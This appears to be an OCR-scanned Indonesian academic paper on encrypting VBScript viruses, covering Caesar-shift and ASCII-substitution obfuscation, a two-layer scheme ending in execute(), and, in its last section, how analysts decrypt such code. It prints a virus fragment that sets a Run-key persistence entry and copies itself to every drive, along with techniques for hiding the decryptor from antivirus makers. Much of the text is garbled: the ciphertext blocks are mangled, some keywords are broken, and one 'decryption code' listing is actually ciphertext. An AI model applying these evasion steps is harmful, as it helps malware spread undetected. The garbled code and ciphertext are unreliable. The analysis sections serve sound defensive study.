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Abstrak

Makalah ini membahas tentang penerapan teknik kriptografi pada pembuatan virus komputer, terutama pada
virus visual basic script atau yang biasa dikenal dengan virus VBS. Teknik kriptografi digunakan pada virus
untuk mempersulit pembacaan source code virus dan untuk mempersulit pembuatan antivirus.

Dalam makalah ini akan diuraikan bagaimana langkah-langkah melakukan enkripsi sederhana pada virus
VBS dan juga akan dijelaskan langkah-langkah mendekripsikan virus tersebut.

Kata kunci: Virus, VBS, kriptografi, enkripsi, dekripsi.

1. Pendahuluan

VBScript atau lengkapnya Visual Basic Scripting
Edition merupakan suatu bahasa pemrograman
yang dikembangkan oleh Microsoft pada tahun
1996. Bahasa ini menginterpretasikan skrip
kodenya pada saat dieksekusi dan menggunakan
model objek komponen untuk mengakses elemen-
elemen di lingkungan tempatnya bekerja.
VBScript merupakan sebuah bahasa skrip turunan
dari bahasa pemrograman Visual Basic for
Applications (VBA) yang digunakan di dalam
Microsoft Office dan beberapa platform
pengembangan  buatan  Microsoft  lainnya.
VBScript menghilangkan beberapa fungsi dari
VBA, seperti halnya fungsi 1/O berkas dan akses
langsung terhadap sistem operasi  untuk
menyediakan sebuah platform yang aman untuk
mengembangkan aplikasi berbasis web dengan
menggunakan platform Active Server Pages
(ASP). Internet Explorer merupakan penjelajah
web pertama yang menyediakan dukungan
terhadap kode skrip yang ditulis dalam bahasa
VBScript. VBScript dapat dijalankan di atas
Windows 9x/ME, Windows 2000, Windows XP,
Windows Server 2003, Windows Vista, Windows
Server 2008 serta beberapa platform UNIX.

VBScript tidak dapat digunakan untuk membuat
program yang berdiri sendiri. Akan tetapi,
VBScript harus dimasukkan ke dalam sebuah
berkas HTML yang kemudian akan dieksekusi
dengan kakas penjelajah web. Ketika Internet
Explorer membuka dokumen berkas HTML
tersebut, VBScript dapat melakukan fungsi yang
sama seperti JavaScript--skrip tersebut akan
dieksekusi. VVBScript juga dapat digunakan untuk
membuat sebuah aplikasi HTML (yang memiliki
ekstensi .HTA) yang membutuhakan paling tidak
Internet Explorer 5 atau yang lebih baru agar
dapat berjalan. HTA tidak secara langsung
menggunakan Internet Explorer, tetapi
menggunakan sebuah program, yakni
MSHTA.EXE, yang menginterpretasikan dan
menjalankan kode. Selain dengan menggunakan
penjelajah web, VBScript juga dapat dieksekusi
oleh aplikasi Windows Scripting Host (WSH).
Umumnya, berkas VBScript yang dijalankan oleh
WSH ini adalah berkas teks biasa dengan ekstensi
.vbs dan dapat dieksekusi dengan menggunakan
command-line maupun dengan desktop Windows.
Windows memiliki dua buah program yang dapat
menginterpretasikan berkas vbs yakni, cscript.exe
dan wscript.exe.

Seiring dengan berjalannya waktu dan juga
berkembangnya kreatifitas manusia, penggunaan
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VBScript ini pun juga mengalami perkembangan.
VBScript yang semula hanya digunakan untuk
membuat suatu aplikasi HTML atau untuk
memudahkan Kkerja para pengguna komputer,
sekarang juga digunakan untuk membuat suatu
aplikasi yang merusak seperti worm atau virus.
VBScript virus pertama kali ditemukan pada
tahun 1997 dengan nama virus VBS Rabbit yang
mengincar file-file VBS. Selanjutnya pada tahun
2000 terjadi bencana global pertama melalui web.
Worm ‘I Love You’ menimbulkan kerugian
sekitar 20 miliar dollar di seluruh dunia. VBScript
sederhana ini adalah virus pertama yang
menyebarkan diri secara otomatis melalui internet
dan di mana-mana koneksi internet dan mail-
server lumpuh. Tetapi salah satu kelemahan virus
VBS yang paling fatal terletak pada source code
virus itu sendiri. Kelemahan tersebut terletak pada
source code yang dapat dengan mudah dibaca
oleh  siapapun  walaupun hanya dengan
menggunakan kakas pengolah kata sederhana
seperti notepad. Hal inilah yang memacu
perkembangan virus VBS sehingga bermunculan
virus VBS dengan berbagai macam jenis
penyerangan dan juga berbagai macam cara
mempertahankan dirinya dari antivirus yang ada.

Salah satu cara mempertahankan diri virus adalah
dengan memanfaatkan teknik kriptografi pada
virus, yaitu dengan melakukan enkripsi source
code virus tersebut. Dengan melakukan enkripsi,
source code virus menjadi sulit untuk dibaca dan
sulit untuk dipahami sehingga para pembuat anti
virus kesulitan untuk dapat memahami rutin-rutin
yang dijalankan oleh virus tersebut. Dengan
begitu virus akan mempunyai waktu hidup yang
lebih lama dan dapat menyebarkan dirinya dengan
lebih banyak lagi.

2. Metode Enkripsi Virus VBS

Ejn!Tubsuvq; Tfu!Tubsuvq!>!DsfbufPckfdu)#XTdsjq
u/Tifmm#*; Tubsuvq/SfhXsjuf!#ILMN]Tpguxbsf]Nj
dsptpgu]Xjoepxt]DvssfouWfstjpo]Svo]#-
H#NzZWjsvt/wct#.

Jika dilihat secara sekilas, satu baris kalimat di
atas hanyalah merupakan sekumpulan huruf dan
simbol yang tidak mempunyai arti apa-apa.
Namun sebenarnya baris tersebut merupakan hasil
enkripsi dari suatu baris perintah VBScript. Hasil
dekripsi dari baris tersebut akan menghasilkan
perintah:

Dim Startup
Set Startup = CreateObject("WScript.Shell™)

Startup.RegWrite
"HKLM\Software\Microsoft\Windows\CurrentVe
rsion\Run\", & "MyScript.vbs"

Perintah tersebut dilakukan untuk menjalankan
file MyScript.vbs ketika Windows dimulai. Jika
pembuat virus menulis baris perintah tersebut
tanpa melakukan enkripsi, maka perintah yang
dilakukan oleh virus tersebut akan sangat mudah
untuk diartikan oleh para pambuat antivirus
ataupun orang yang  mengerti  bahasa
pemrograman VBScript. Lain halnya jika pembuat
virus sudah melakukan enkripsi dan menghasilkan
baris perintah yang hanya berisi huruf-huruf dan
simbol-simbol tidak beraturan seperti pada baris
awal sub bab ini.

Baris cipher code di atas dihasilkan dengan cara
menerapkan metode enkripsi sederhana, yaitu
caesar cipher. Caranya adalah dengan mengganti
setiap karakter dengan karakter lain dalam
susunan abjad. Dalam hal ini tiap huruf
disubstitusi dengan satu huruf berikutnya dari
susunan abjad, yang berarti kuncinya adalah
jumlah pergeseran huruf, yaitu k = 1. Pergeseran
digunakan dengan mengambil kode ASCII dari
suatu karakter, menambahkan satu pada kode
ASCII tersebut dan mengambalikan kode ASCII
tersebut ke karakter biasa.

Tabel substitusi:

pi:ABCDEFGHIJKLMNOPQRSTU
VWXYZ

Ci:BCDEFGHIJKLMNOPQRSTUV
WXYZA

Demikian halnya dengan huruf-huruf kecil dan
simbol-simbl seperti garis miring atau kurung
buka dan kurung tutup. Semua huruf dan simbol-
simbol mempunyai kode ASCII yang berbeda satu
dengan yang lainnya sehingga hasil enkripsi tidak
akan ada yang sama.

Pada contoh di atas, kode yang digunakan untuk
enkripsi adalah:

msgbox(encode("Dim  Startup:Set  Startup =
CreateObject(""WScript.Shell""):Startup.RegWrit
e
""HKLM\Software\Microsoft\Windows\CurrentV
ersion\Run\"", ""MyVirus.vhs"""))

Function encode(s)




Fori=1To len(s)
t=mid(s, i, 1)
t = chr(asc(t) + 1)
coded = coded + t
Next
encode = coded
End Function

Dalam kode di atas terdapat fungsi encode dengan
parameter s yang akan membaca karakter pada s
satu persatu dan mengganti setiap karakter dengan
karakter setelahnya dalam bentuk kode ASCII.
Jika file tersebut disimpan dengan ekstensi .vbs
dan dijalankan maka akan menghasilkan suatu
kotak pesan yang berisi baris perintah yang telah
dienkripsi.

Untuk mendekripsi kode tersebut tidaklah sulit,
hanya membalik algoritma yang dipakai dalam
enkripsi. Jika algoritma yang dipakai dalam
enkripsi adalah mengganti huruf dengan satu
huruf setelahnya dalam urutan abjad, maka
algoritma dekripsi yang dipakai adalah mengganti
huruf dengan satu huruf sebelumnya dalam urutan
abjad.

Tabel substitusi:

Ci:ABCDEFGHIJKLMNOPQRSTU
VWXYZ

pi:ZABCDEFGHIJKLMNOPQRST
UVWXY

Pada contoh di atas, kode yang digunakan untuk
melakukan dekripsi adalah:

sjqu/Tifmmé*; Tubsuvg/SthXsjufl#ILMN] Tpguxb
sfINjdsptpgu] Xjoepxt]DvssfouWfstjpo]Svo]#-
I#NzWjsvt/wct#.

Untuk lebih mempersulit para pembuat antivirus,
biasanya dilakukan lebih dari dua kali enkripsi
pada kode virus. Enkripsi pertama digunakan
untuk mengenkripsi  kode virus, sedangkan
enkripsi kedua digunakan untuk mengenkripsi
kode pendekripsian virus. Sebagai contoh,
terdapat file virus:

On error resume next

dim wshshell, fso, induk, vpath, target, lokasi,
target2, filel, file2, file, a, text, vrs, 1, wnds,
wnd32, start, dem, dsk

set wshshell = createobject (“wscript.shell™)

set fso = createobject
("scripting.filesystemobject")

set induk = fso.getfile (wscript.scriptfullname)

do

wscript.Sleep 100
For d=66 to 90
copyvirusdrive d
copyautorundrive d
Next
Loop

msgbox(decode("Ejn! Tubsuvq;Tfu! Tubsuvq!>!Ds
fbufPckfdu)#XTdsjqu/Tifmm#*; Tubsuvg/SthXsju
fI#ILMN]Tpguxbsf]Njdsptpgu] Xjoepxt] Dvssfou
Wfstjpo]Svol#-1#NzWjsvt/wct#"))
Function decode(s)
Fori=1 To Len(s)
t=Mid(s, i, 1)
t = Chr(Asc(t) - 1)
coded = coded +t
Next
decode = coded
End Function

Kode di atas merupakan potongan kode dari suatu
virus, Kita sebut saja virus x.vbs.

Untuk enkripsi tahap pertama, pertama-tama kita
buat suatu file lain yang berisi kode untuk enkripsi
virus. Contoh kodenya sebagai berikut:

Jika disimpan dengan ekstensi .vbs dan
dijalankan, kode tersebut akan menghasilkan
suatu kotak pesan yang berisi hasil baris perintah
yang telah didekripsi dari baris
Ejn!Tubsuvq;Tfu!Tubsuvq!>!DsfbufPckfdu)#XTd

Set fso =
CreateObject("Scripting.FileSystemObject™)
Set open=fso.OpenTextFile("x.vbs™)
virus=open.ReadAll
On Error Resume Next
VA3 =""
For 1 =1 To Len(virus)
baca = Asc(Mid(virus, 1, 1))
If baca = 34 Then
tukar = Chr(48)
Elself baca = 10 Then
tukar = Chr(49)
Elself baca = 13 Then
tukar = Chr(50)
Elself baca = 40 Then
tukar = Chr(51)
Elself baca = 41 Then




tukar = Chr(52)
Else
tukar = Chr(baca + 123)
End If
hasil=hasil & tukar
Next

Kode di atas akan membuka suatu file virus
dengan nama x.vbs dan akan membaca karakter
dari file itu satu persatu. Kemudian jika
ditemukan karakter dengan kode ASCII 34, 10,
13, 40, 41, karakter tersebut akan diganti dengan
karakter dengan kode ASCII 48, 49, 50, 51, dan
52. Sebagai tambahan pengetahuan, karakter
dengan kode ASCII 34 merupakan karakter tanda
petik (), 10 merupakan karakter “Line Feed”, 13
merupakan “Carriage return” atau tanda pindah
baris (enter), 40 merupakan karakter kurung buka
‘(‘, dan 41 merupakan karakter kurung tutup °)’.
Untuk lebih lengkapnya mengenai kode ASCII
tiap karakter dapat dilihat pada tabel ASCII yang
ada.

Jika karakter yang ditemukan bukanlah karakter
dengan kode ASCII seperti yang telah disebutkan,
maka kode ASCII yang didapat akan ditambah
dengan 123 dan kemudian diubah lagi ke karakter
biasa dan hasilnya akan disimpan pada variabel
‘hasil’.

Hasil dari enkripsi pertama: (tidak semua isi file
diperlihatkan)

Enkripsi kedua dilakukan untuk mengenkripsi
kode dekripsi. Algoritma untuk mendekripsi
adalah kebalikan dari algoritma enkripsi. Jika
dalam enkripsi kode ASCII 34 diganti dengan 48,
10 diganti dengan 49, dan seterusnya, maka
enkripsi dilakukan dengan mengganti kode 48
dengan 34, 49 dengan 10, dan seterusnya.
Demikian juga jika algoritma enkripsi adalah
menambahkan kode ASCII dengan 123, maka
algoritma dekripsi adalah mengurangi kode ASCII
dengan 123. File enkripsi ini disimpan dengan
nama rutindekripsi.txt.

Eé aiieh iaioearéaoi2 184é 0iaidacc$raiedraéBoaes>
fisUia§»iU1aai$H ceeUia$H1Uiaai-§raiaca—§ aica-§»
4idca§HU§HiaoiH niira—§r0éBi§roéR®-$iiU i B
&§ B2 1ianroiataace »pialiadY 4abi»300ibiasion
dacc04211ai4iéy »biaUiadY 4abi30ibiaciaéa0asc
ai6iiace Y 2abi042 11abaéBde> »aiéOaaias¢ar 30ibid
sioibiagiadecéUead21Uih »00Udieidéd0;iY Pic
aparés DRcESI<D® <PACOR-ORES 2
0;i1Y Picaj0éeaé 0ibiaci0aoa©xUsUUsiaa0nYio
(1Y Pica;0iaacexééaéxbeeeUéB 0ibiagi0aoar©xU
aJUEEONY D Fiy PA) Beg-AcEeReaiJé
B »—««21,,46B02OPEEO)
30BaaccOéabaUcaéeRaii30liUiigg04 p0xUeUU
&HAONY10421,,4éB020DPEE0)34i6CaaticabaUcaé
¢Bai3«h p0xal,UsaaonYind21,,46B020beso»34a
ieoaaiicabaUcaéeBai3—4>>0xUsadraaom Y0421
,A6B0xOPEE»30iaaaccOeaPaUcaé¢RaTI30EN eP
3¢aéii04» p0xUsan>a0aUOnYi0421,,4¢B0aeOb&so>
30BRaccOéabaUcaéeRaii30 aixies04 pOxOnYi
0421, A8hB £hi8»"«21,,,peconaidiBiana 21, bé
soUdieideRiaiarB21, Eaoi21¢eee21

Dim teks
For 1 =1 To Len(cipher)
baca = Asc(Mid(cipher, I, 1))
If baca = 48 Then
tukar = Chr(34)
Elself baca = 49 Then
tukar = Chr(10)
Elself baca = 50 Then
tukar = Chr(13)
Elself baca = 51 Then
tukar = Chr(40)
Elself baca = 52 Then
tukar = Chr(41)
Else
tukar = Chr(baca - 123)
End If
teks = teks & tukar
Next
execute(teks)

Baris terakhir tertulis ‘execute(teks)’. Fungsi
execute digunakan untuk menjalankan parameter
yang ada di dalamnya, dalam hal ini ‘teks’.
Variabel ‘teks’ akan berisi kode virus yang telah
dienkripsi oleh kode enkripsi yang pertama.

Enkripsi kedua dilakukan pada kode di atas
dengan kode:

Set fso =
CreateObject("Scripting.FileSystemObject™)
Set open=fso0.OpenTextFile("rutindekripsi.txt')
virus=open.ReadAll
On Error Resume Next
VA3 =""
For I =1 To Len(virus)

baca = Asc(Mid(virus, I, 1))

tukar = Chr(baca + 123)

hasil=hasil & tukar
Next




Enkripsi ini akan menambahkan kode ASCII pada
rutindekripsi.txt dengan angka 123.

Hasil enkripsi kedua:

JAsiazi’.. . AébA )18 Caéebasaaia. .., YUPU»
OViib£EABEPAEAAIHAS . A YUPU) ) ia
a6, i0eUb »%ait® ..., A¢iaAaYUPUy )y’

»[3ag”. .., 10 Ub »%aif—« ..., AciaAaYUPU) »
owidacé™. ..., 10eUb p¥aif-®x. .., AciaAaYUPU
» »o1aaé". .., 102 Ub p¥4aif « ..., A¢iaAd YUP
Uy po->1aaé". ..., 10@ U »¥4aif .. L Acla"...,,,.1
dxUb y4aitYUPUy»—-®u. ., AéBrAA". . iaaed »i

azed pideUi.. . Eaor ... .. 1anaie> »¥4iaUiak Y aapi

£ Ipiasiaéa0AdcaloniacEYaabil o, fanaUtic 4
BOPRUBEOEEGEE | 1410101610 &°...aUTacO01Hia
siazi™...aUl¢OPgéia

Langkah selanjutnya adalah dengan
menggabungkan potongan-potongan kode di atas
dengan kode untuk mendekripsi kode enkripsi
kedua. Pada rutindekripsi.txt, variabel parameter
yang digunakan adalah ‘cipher’

For I =1 To Len(cipher)

maka kode hasil enkripsi file virus x.vbs akan kita
simpan di variabel ‘cipher’. Kemudian untuk
menyimpan kode hasil enkripsi kedua (yang berisi
kode untuk mendekripsi hasil enkripsi virus
x.vbs), kita bisa menggunakan variabel apapun,
dalam hal ini kita pakai variabel ‘x’. Selanjutnya
kita tuliskan kode untuk mendekripsikan kode
hasil enkripsi kedua. Algoritma yang digunakan
dalam enkripsi kedua adalah menambahkan kode
ASCII dengan angka 123, maka algoritma untuk
mendekripsikannya adalah mengurangi kode
ASCII dengan angka 123. Kodenya dekripsinya
adalah sebagai berikut:

cipher="E&aiiéi iaidear6a6i2 134 0iaiaace$raies
4éBdx$HHicUias» 1Uiaai$r¢éeUia§H1Uiadi-§radca—g§
vaica-$raacaH U iadi$Hrnii§ra—§r0éBi§roéB®-§»ii
U T$>Bbe§rBiee2 11airoiataace »PiaUiaéYaabi3001
biagiOiaage0421ianaies »pialUiasYaabir30ibiasia
€aOaacaiotiace. . ........ ¢aad —««21,,4¢B02OPEEO)
3ofaiaaccOicabalcaseBaii30liUiide04s poxUsUU
&HA0NY10421,,46B8020béédy34i6CaateabalUcas
cBai3«dy; »0xaUyUéaaonYio421,,4680e0bééo>34a
i6©aaiieabaUcaéeBaid—4>p0xUéan iaonYind21
,A6BOxODPEE6)301aTAAccOIaPAUGAERANZ0ES 8P
3&aéii04> p0xUsad>a0aU0nY10421,,4¢B0aeCObEEo>
3ofaiaaccOicabaUcadeBaii30;aiaicé04 pOxOnYi
0421,,AéhB ADié «21,,,,béEonaidilianar21,,,,bé
80 UdieioéBianar 21, Faoi21¢ees21":x=" & iaael"
...AéhA> yieyCaétbisaai’. .., YUPU> ) Yib£E
aB£PacaAIHASH .., A YUPUy ) Hidaé ...,
02U »%4aif® ..., A¢laAd YUPU» »~ »idaé"...
1, 102 UD REZY:1t Smitio RN .,,A(;iélAé)YUIJU) ,>°«>T'ZléléA
oo d02UD p¥4dif~® ... A¢taAaYUPU> yoia
46", 102U »¥4aif « ..., ActaAaYUPU> y°-»
B¢ .., 0aeUb )Yaif .. Acla .., 10xeUb »
YAIEYUPUY»—-®0". .. AéBrA4". . iazd »iaaeh»id
®U1".. Eaoi™...".. .a6abdiaLiazia...".. 1abaid »
% BUEEY &P E= PEECEEOASEDIEY &P
o fapaUtic aieObiaUiaiadisicat = FRDD DP o
*...aUMEcOofEin faeel’. . .aUiEcOPeeia": for i=1 to
len(x):teks1=teksl & Chr(Asc(mid(x,i,1))-
123):next:execute(teksl):

Pada contoh di atas kode untuk mendekripsi

terlihat  jelas  di akhir  file, untuk
menyembunyikannya bisa dilakukan dengan
menambahkan variabel-variabel yang tidak

terpakai, sehingga hasil akhirnya adalah sebagai
berikut:

for i=1 to len(x)

teksl=teksl & Chr(Asc(mid(x,i,1))-123)
next

execute(teksl)

Karena variabel yang dipakai untuk menyimpan
kode hasil enkripsi kedua adalah ‘x’, maka
parameter variabel yang kita gunakan sekarang
adalah ‘x’. Hasil penggabungan adalah sebagai
berikut:

cipher="E¢&aiiéi iaidear6a6i2 1Bieroiataace$raies>
4éBdx$HHeUAS»1Uiaa1$r¢eeUla§H1UiadI-§radca—§
yaaca-$>aaca$HUSH 12019 iii§ra—§>06B1§>06B®-§>ii
Uii§>Bbe§>Biae2 11ai>0iaiaace »PialUiacYaabir300i
PiagiOiaacc0421iaiaier »biaUiaéY 4abh 30 PEER
éa0aagaiotiace. . ........ ¢aaé& —««21,,4éR02eOPE&EG>
3ofataaccOiéabaUcaéeBaii30liUiioe04» p0xUsUU
&HAONY10421,,3éB00PeE034i6CaaticabaUcaé
¢Bai3«h p0xalUsadonYind21,,4680a0besd»34a
ieoaaiicabaUcaéeBai3—4>»0xUsadraaoi Y0421
,46B0aOPE&E0)30iaTaaccOaPaUcadcBaii3OF GedP
3&a¢éii04> p0xUsan>a0aU0nYi0421,,4¢B0aeOP&so>
3oiataage©iéabalcaéeBaiid0 aieies04 pOxOiYi
0421,,AéDB +Hié «21,,, pesoniaidiBiaiarf21,,,,pé
coUdicideRiafB21, Ea0i21¢66621" x=" 4 iaaei"




...AeDA> y»IeCaétbasaain’. .., YUPU» »V4ib£E
ABLPEEAAIHASH .., A YUPU) ) Hidae ...,
id2Ub »¥%aif® o ... AclaAo YUPU) »~ »idaé ...
o, 102 UD pY4aiE~@".. .,,AgiélAé)YUbU) »owolaag
ooy 102UD p¥aiE-®0". . ActaAd YUPU» »oia
aé...,,,,i10eUb »%aif «"..., A¢iaAd YUPU> »°->
1aaé"....,,.102Ub »¥4aif —o .. .,,Agiéf. e, 102 UD
VAL YUPUY »—-® ... AéBrAa™. . iaaed »iaaeh pid
®UT...Eaoi"...".. . a6abdiakiazia’...". . 1anaies »
¥ B EEY &P = PESBSEOASEDRLY &PF
o, TanaUtic 4ieOPiaUiaiadiaicas = FEADD DI o
*...aUH¢Ov i izt . .AUTAcOPeéa"for i=1 to
len(x):teksl=teksl =~ &  Chr(Asc(mid(x,i,1))-
123):next:execute(teksl):
Y="p0»é)i1aa344ca§®4,06¢i0&Hidaa3aacag®4,0
B40>13a6>4éBdeOPEE6344¢> pOONY 10421, 3ai Ui
i,4160AaiAd¢a344¢d> p0©»aUbPaUiaanhaé6)4i60O®
4 ,04840>&1443344¢a~§®4 0iY 10>8) i444344¢a§®
4,08B40y8h{aaa344ca—§®4 0BEP0>&1 a3 4k¢a—§
®4,00610>13a6>468020PEE63ai¢a— pOORY 10421
b Uil 4i6©AaiAdcadaica— p0onYiod21,,Uii©

»d6y4160Aaa1ac¢”:

Z="¢ »aieCaaiaa¢ar3Bianiar pOpuxUdidioé0aéa04
21,,,,Udidé0UiiiaYdiad »221,,aéB>342166>10Y21
2110Y)>

»aé»aic0aaiaecBaid UcUeUi4044¢ai21,,44> 14431344
ca§®4 0i6i0>ehiaaa3aa¢a§®4,04640>ehidaa3 adca
§®4 0nY10>éhidaa3aica§®4 0BEP0>&Didaa3adcas
®4,06¢”

tersebut adalah baris yang dapat dengan mudah
dibaca, yaitu

for i=1 to len(x):teksl=teksl &
Chr(Asc(mid(x,i,1))-123):next:execute(teksl):

Kode ini akan mendekripsikan kode lainnya yang
memakai variabel ‘x’. Maka langkah pertama
yang dilakukan adalah melakukan dekripsi kode

pada variabel ‘x’.

Kalau diperhatikan dengan seksama, saya telah
menambahkan variabel y dan z vyang berisi
potongan-potongan kode hasil dekripsi. Hal ini
dilakukan untuk menyamarkan kode dekripsi yang
sebelumnya terlihat dengan jelas.

3. Metode Dekripsi Virus VBS

Dalam enkripsi virus VBS, yang terpenting
bukanlah kerumitan algoritma yang digunakan.
Serumit  apapun algoritma  enkripsi  yang
digunakan, hal tersebut akan sia-sia jika fungsi
untuk mendekripsinya dapat dibaca dengan
mudah. Dalam virus VBS yang telah memakai
teknik kriptografi untuk mengenkripsi kode
virusnya, akan terdapat juga fungsi untuk
mendekripsikan kode tersebut. Kode inilah yang
biasa dicari oleh para pembuat antivirus sebagai
acuan untuk mendekripsikan virus tersebut dan
membuat antivirusnya. Dalam contoh virus yang
telah dibuat tadi, kunci untuk mendekripsi kode

x=";a&iazel"...Aéh A ) i&rCaéebasaaic”. .., YU
pU> ) V4ib£EaBREPASAIH ASH—. .. A YUPU> »
1336, ..., 10 Ub p¥alf® .. ActaAaYUPU
yy Hidas"...,., 10eUb »¥ait—~«". .., A¢ciaAa YUP
Uy powiaac’.. .., ideUn y%aif—®a. .. AciaAarY
UPU» yoidac .. ... i0eUb »%aif «"..., , AclaAd
YUPU» yo-iaaé’. ..., i0eUb »%aif —="..., Acia®
ooy 102UD pYAIEYUPUY H—-®@1 ... AéByAS". . ia
&b yiaeb pideUi.. . Eaor... .. labaier »%iaUiak
YE&PE 1bisciaca0AscaloiiacEYaapil .. faba
UBCABOPEU BECESGEE | 7didi0ioil] o, AUk
©ofdid aei”. .. aUHcOPceA"
Dim teks
For1=1To Len(x)

baca = Asc(Mid(x, I, 1))

tukar = Chr(baca - 123)

teks = teks & tukar
Next
Set fso =
CreateObject("Scripting.FileSystemObject™)
Set hasil=fso.createtextfile("hasildekripsil.txt")
hasil.write teks
hasil.close

Kode tersebut akan mendekripsikan kode yang
ada pada variabel x dengan algoritma yang kita
dapatkan dari file virus itu sendiri dan akan
menyimpan file hasil dekripsi pada file
‘hasildekripsi.txt’. Isi dari file hasildekripsi.txt
yang telah dibuat adalah:

For I =1 To Len(cipher)
baca = Asc(Mid(cipher, I, 1))
If baca = 48 Then
tukar = Chr(34)
Elself baca = 49 Then
tukar = Chr(10)
Elself baca = 50 Then
tukar = Chr(13)
Elself baca = 51 Then
tukar = Chr(40)
Elself baca = 52 Then
tukar = Chr(41)




Else
tukar = Chr(baca - 123)
End If
teks = teks & tukar
Next
execute(teks)

Selanjutnya jikadiperhatikan, kode ini akan
menggunakan variabel ‘cipher’. Maka langkah
selanjutnya adalah melakukan dekripsi kode pada
variabel ‘cipher’ dengan kode yang telah kita
dapatkan.

cipher:”Eé>a‘1iiéi>iéiééé>ééc’>'1’21Béié>c‘)i5i5égg§>éié§>
46B02$>neUIAS1U1Aai§H ceeUias>1Uiaai-§radca—§
yaica-$aica$H U iaoi$ ifi§ra—$ 06i$r 06B®-$ii
Uii$>Bbe§rBiae2 1iai>oiaiaace »PiaUiasY 4abi>3001
biasiOiaacc04211aiaiéy »bialUiadY 4abi301bidéid
¢404s¢alo11ace Y 4aPi04211aiéBdz> »ai60aaTad
................ 1Y70421,,3éB020Pbé&so»34i60Caaiicab
dUc4é¢Bai3—~4 (>0 xUéa a0 Y10421,,46302OPb
8806>30iaiaaccOéaPaUcaéeBaii30ES ;6POEACTI04
»0xUéad>a0aU0MY10421,,4¢B020PE6> 301aidace
OiéabaU¢aéeBaiid0gaizicé04) pOxORY0421,,Aéi
B 5«21, peconaidiBiafiarB21,,, pesoUdisid
éBianayB21,,Eaoi21¢ees21"
Dim teks
For 1 =1 To Len(cipher)
baca = Asc(Mid(cipher, 1, 1))
If baca = 48 Then
tukar = Chr(34)
Elself baca = 49 Then
tukar = Chr(10)
Elself baca = 50 Then
tukar = Chr(13)
Elself baca = 51 Then
tukar = Chr(40)
Elself baca = 52 Then
tukar = Chr(41)

Else
tukar = Chr(baca - 123)
End If
teks = teks & tukar
Next
Set fso =

CreateObject("Scripting.FileSystemObject™)
Set hasil=fso.createtextfile("virusasli.txt™)
hasil.write teks

hasil.close

File ini akan menghasikan file ‘virusasli.txt’ yang
berisi kode hasil dekripsi yang setelah dilihat
merupakan source code dari virus ‘x.vbs’. Dari
file ini sang pembuat antivirus dapat melihat

fungsi-fungsi apa saja yang dilakukan oleh virus
sehingga ia dapat membuat antivirus untuk
membersihkan komputer korban dari virus X.vhs
ini.

4. Kesimpulan

Virus dalam bentuk visual basic script sebenarnya
mudah untuk dibersihkan walaupun virus tersebut
sudah memakai teknik-teknik kriptografi yang
ada. Hal ini dikarenakan virus VBS tidak bisa
tidak harus menyertakan kode pendekripsiannya
dalam file virus tersebut. Serumit apapun
algoritma kriptografi yang digunakan, semuanya
akan sia-sia jika kode untuk mendekripsikannya
dapat dengan mudah dibaca. Yang penting dalam
pengenkripsian virus bukanlah algoritma dalam
mengenkripsi  source code virus tersebut,
melainkan bagaimana cara untuk menyamarkan
kode dekripsi sehingga sulit untuk ditemukan dan
sulit untuk dibaca oleh orang lain.
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